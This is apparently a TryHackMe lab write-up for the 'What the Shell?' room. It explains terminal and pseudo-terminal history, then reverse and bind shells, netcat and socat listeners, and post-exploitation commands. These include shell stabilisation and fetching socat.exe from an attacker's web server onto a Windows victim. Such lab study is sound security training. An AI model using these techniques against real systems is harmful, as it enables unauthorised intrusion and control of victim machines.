TryHackMe : What the Shell?

TryHackMe : What the Shell?

This essay will be quite the chunky one, but that's because I want to cover everything to do with shells and their components , their history and how we can make best use of them today.

To start off, we can think of shells as regular programs - they take input through stdin and they direct output to stdout. The difference is that we play with binaries and other operating system structures that utilise very low-level utilities of the kernel.

When we open up our terminal we are automatically given a terminal session, an instance to work with. We can open new tabs and create new instances within a single terminal process. A process can house many child processes , with are the tabs , the terminal itself being the multiplexer that gives us such instances.

We can look at how many instances are running with the tty command:

tty-instances

As you can see they are tracked and numbered as a device - /dev/pts/* , but what does pts mean , what does TTY mean ? All this requires a little bit of history. Back in the 1869 the stock-ticker was invented, which was a machine that could take stock prices as input, using a typewriter - codify it into signals and send the prices over a long course of wires. The combination of these components was called a teletypewriter , which was shortened to a teletype and eventually to tty. They had a basic encoding for letters way back before ASCII - though it is this and UTF-8 that our software-based teletypes (terminals) understand nowadays.

The global network of teletypes was called telex , and this was booming in popularity all the way till the 1980s when the fax boom caught on, as well as the accelerated development of personal computers. We still use this notion of "shared language" with computers, and if they both understand how to break down our inputs into the same signals, then it doesn't really have to be a teletype on the other end of the wire, but any machine which speaks our lingo.

The very first computers were hardware-emulators of the teletype system , emulated in the sense that they took their original function, but instead of using clunky mechanics they used tiny electronics, signals were faster and smoother and the typewriter was replaced by the keyboard. All computers can be said to be hardware-emulated teletypes, but the terminals that us pen testers make frequent use of is yet another emulation of the hardware-emulated teletype, now we don't even refer to the underlying architecture and the levels of abstraction grow yet larger.

Applications such as bash (software-emulated teletypes) are examples of virtual teletypes, as there is no language of that teletype system without the operating system, without an underlying teletype system. Moreover such programs are called pseudo-teletypes - or pts for short. Now we have unlocked one part of the puzzle and we can see why the devices are referenced with this name, as it is meant to denote all the virtualised instances of we're currently running.

Moreover when we open bash in one tab and fairly quickly we have many pseudo-teletypes running around, we need a PTS multiplexer to handle all these. This also takes signals and outputs configurations - earning it the device file /dev/ptmx.

The tty command is our interface to configuring our PTS instances. Like we've seen above we can just type the command with no arguments and it spits out the current device number. We could add -a to get all settings

tty

We can see that who is a pretty nice command for seeing all the users currently on the system, this gets used quite often in capture the flag contests ...

The keen-eyed reader will see that the hardware-emulated teletype comes first, which is under /dev/tty* with the * denoting the number of the instance , followed by all the pseudo-teletypes that are utilising that communication channel.

true-ttys

There are multiplexers at all levels of the computer . Just to reiterate , a hardware-emulated teletype instance is just a tty on steroids - we send signals using the keyboard, and those signals are then sent to the VGA driver which encodes the signals for graphics processing. tty sessions don't code for mouse signals, and that is why when you jump to one of those hardware-emulated sessions with CTRL+ALT+F3 you won't be able to break out easily - scanning for the "x" in the corner of the screen was a luxury ! I broke out with CTRL+ALT+F7 , though it differs by operating systems.

Linux server operating systems tend to be bare-bones and run only hardware-emulated teletypes, though it depends.

Onto the full architecture now:

tty-architecture

On the hardware side of things we have our terminal which is the physical teletype and given the physical line , nowadays being the set of diodes and circuitry to forward signals to and fro. The UART stands for Universal Asynchronous Receiver and Transmitter and it used to be a prevalent piece of hardware in the olden days before USB , where peripherals would use this as a connector to serialise data between computers - meaning information leaves the connector one bit at a time rather than in parallel and fluctuating patterns. As the serialised data is sent through to the operating system kernel, the UART driver does a simple job of managing the physical transmission of bytes, including parity checks and flow control - akin to layer four of the OSI model. Before the signals go right off to the application (user process) they have some other layers through which they need sanitising.

The line discipline I think of as the discipline (set of practices) regarding a single input line. The practises were setup to define all the functions that a user would need when typing at the terminal: like a backspace, erase word, clear line and reprint. Moreover the OS kernel defines these commands for a buffer which come under the name line discipline. Advanced applications may disable these features by putting the line discipline in raw mode instead of the default cooked (or canonical) mode. The best reason for us doing this is say when we have a netcat shell from uploading a payload to a webserver, we get a pretty rudimentary reverse shell on our system and unless we set our kernel , which specifies the behaviour of our multiplexer and hence our session , to raw mode hence stabilising our behaviour with this PTS within a PTS outside of our computer.

Each line discipline is attached to a given serial device at a time - like tty6 for example in /dev/ and when we set this to raw it means the device is more open to the variety of signals which come into and out of that device.

When we spawn this reverse shell, now we have a PTS instance that we need to turn to raw, for stability's sake , so we would need to pause this job and then set it to raw and resume that process. An operating system process is alive when it has an execution context, a sliver of space and time and attention of the kernel itself.

The last ingredient is the TTY driver which is merely used to format data that is sent to it in a manner that the hardware can understand, and receive data from the hardware.

So then, the triplet of the UART driver - the concept of serialisation and translation, alongside the line discipline - the set of practices that extend the inputs and outputs of a terminal and the TTY driver - the translation mechanism for hardware.

Modern computers tend to follow this schema:

modern-architecture

The idea for PTY was that we hoped to keep the session management and line discipline features of the low-level systems whilst having the opportunity to customise and move forward with the ways we handle messages - moving away from the terminal emulator and console subsystem for processing.

modern-architecture-software

xterm would be a PTY master as it will be spawning child node processes i.e tabs. We can use a tool called stty to configure a given TTY device. We can type

stty -F tty-device-name rows row-height

;; this -F could be cool when you are playing a CTF and with the right permissions
;; you could redraw another person's terminal on the machine...

When we do spawn netcat reverse shells, this will usually be the mode of operation you conduct to establish a better more functioning shell - and hence a cleaner , more stable experience.

python -c 'import pty;pty.spawn("/bin/bash")'

;; as our nc shell is currently a pts within a pts, we would like to spawn a new process
;; in this case a new process holding a pty session. This gives us a formal standing
;; on the machine and not within the scope of the continued execution of our payload.

export TERM=xterm

;; The environment variable TERM contains a identifier for the text window’s capabilities. 
;; You can get a detailed list of these cababilities by using the ‘infocmp’ command, 
;; using ‘man 5 terminfo’ as a reference.

;; NOW PAUSE THE SHELL WITH CTRL+Z , this is so we can configure our currently running
;; tty to run in raw mode, letting the application we've been configuring handle the
;; inputs. By turning echo off we turn off local console functionality, sending our input
;; directly to the remote machine to handle through their chain of command

stty raw -echo; fg

More on this concept of raw versus cooked here.

Shell Tools

If you made it this far, then yes I will be going through the actual box now haha

For a hacker aiming to connect to a victim we usually think about it in one of two directions : either the attacker is the listener for the victim to connect to or vice versa. This would be the case with a reverse shell as normally shells are subsequently operated on by those who call it, but in the case of the server they are creating that session - as they accidentally ran our script - and we were listening for when that call comes in. A bind shell is where the victim is listening - on say port 22 for ssh waiting for someone to connect.

Tools for establishing connections - and subsequent shells - are:

  • netcat / nc
  • socat
  • Metasploit's auxiliary/multi/handler payload
  • msfvenom which is a tool that allows us to create many types of payloads , but for this room we'll stick to bind and reverse shells.

he final concept which is relevant in this task is that of interactivity. Shells can be either interactive or non-interactive.

  • Interactive: If you've used PowerShell, Bash, Zsh, sh, or any other standard CLI environment then you will be used to interactive shells. These allow you to interact with programs after executing them. For example, take the SSH login prompt:
  • img Here you can see that it's asking interactively that the user type either yes or no in order to continue the connection. This is an interactive program, which requires an interactive shell in order to run.

  • Non-Interactive shells don't give you that luxury. In a non-interactive shell you are limited to using programs which do not require user interaction in order to run properly. Unfortunately, the majority of simple reverse and bind shells are non-interactive, which can make further exploitation trickier. Let's see what happens when we try to run SSH in a non-interactive shell: img

How to stabilise a shell

rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell; however, some manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with sudo apt-get install rlwrap.

rlwrap nc -lvnp <port>

When dealing with a Linux target, it's possible to completely stabilise, by using the same trick as in step three of the previous technique: background the shell with Ctrl + Z, then use stty raw -echo; fg to stabilise and re-enter the shell.

Using socat

socat is like netcat but on steroids , although the amount of stability it would give Windows PTY's is negligible ... The main catch to why it hasn't had mass adoption is because it isn't installed by default and the victim also needs it on there box, which is practically never. Moreover we have to get in via nc first and then ship over the compiled binary.

We could do this by

sudo python3 -m http.server 80

On the attacker's machine and then wget or whichever tool is available. Whilst nc can be used to send files back and forth, we the attacker wouldn't have established a reverse shell connection yet and so the firewall may block our request to the machine.

On Windows we could pull from the attacker's python webserver by doing:

Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe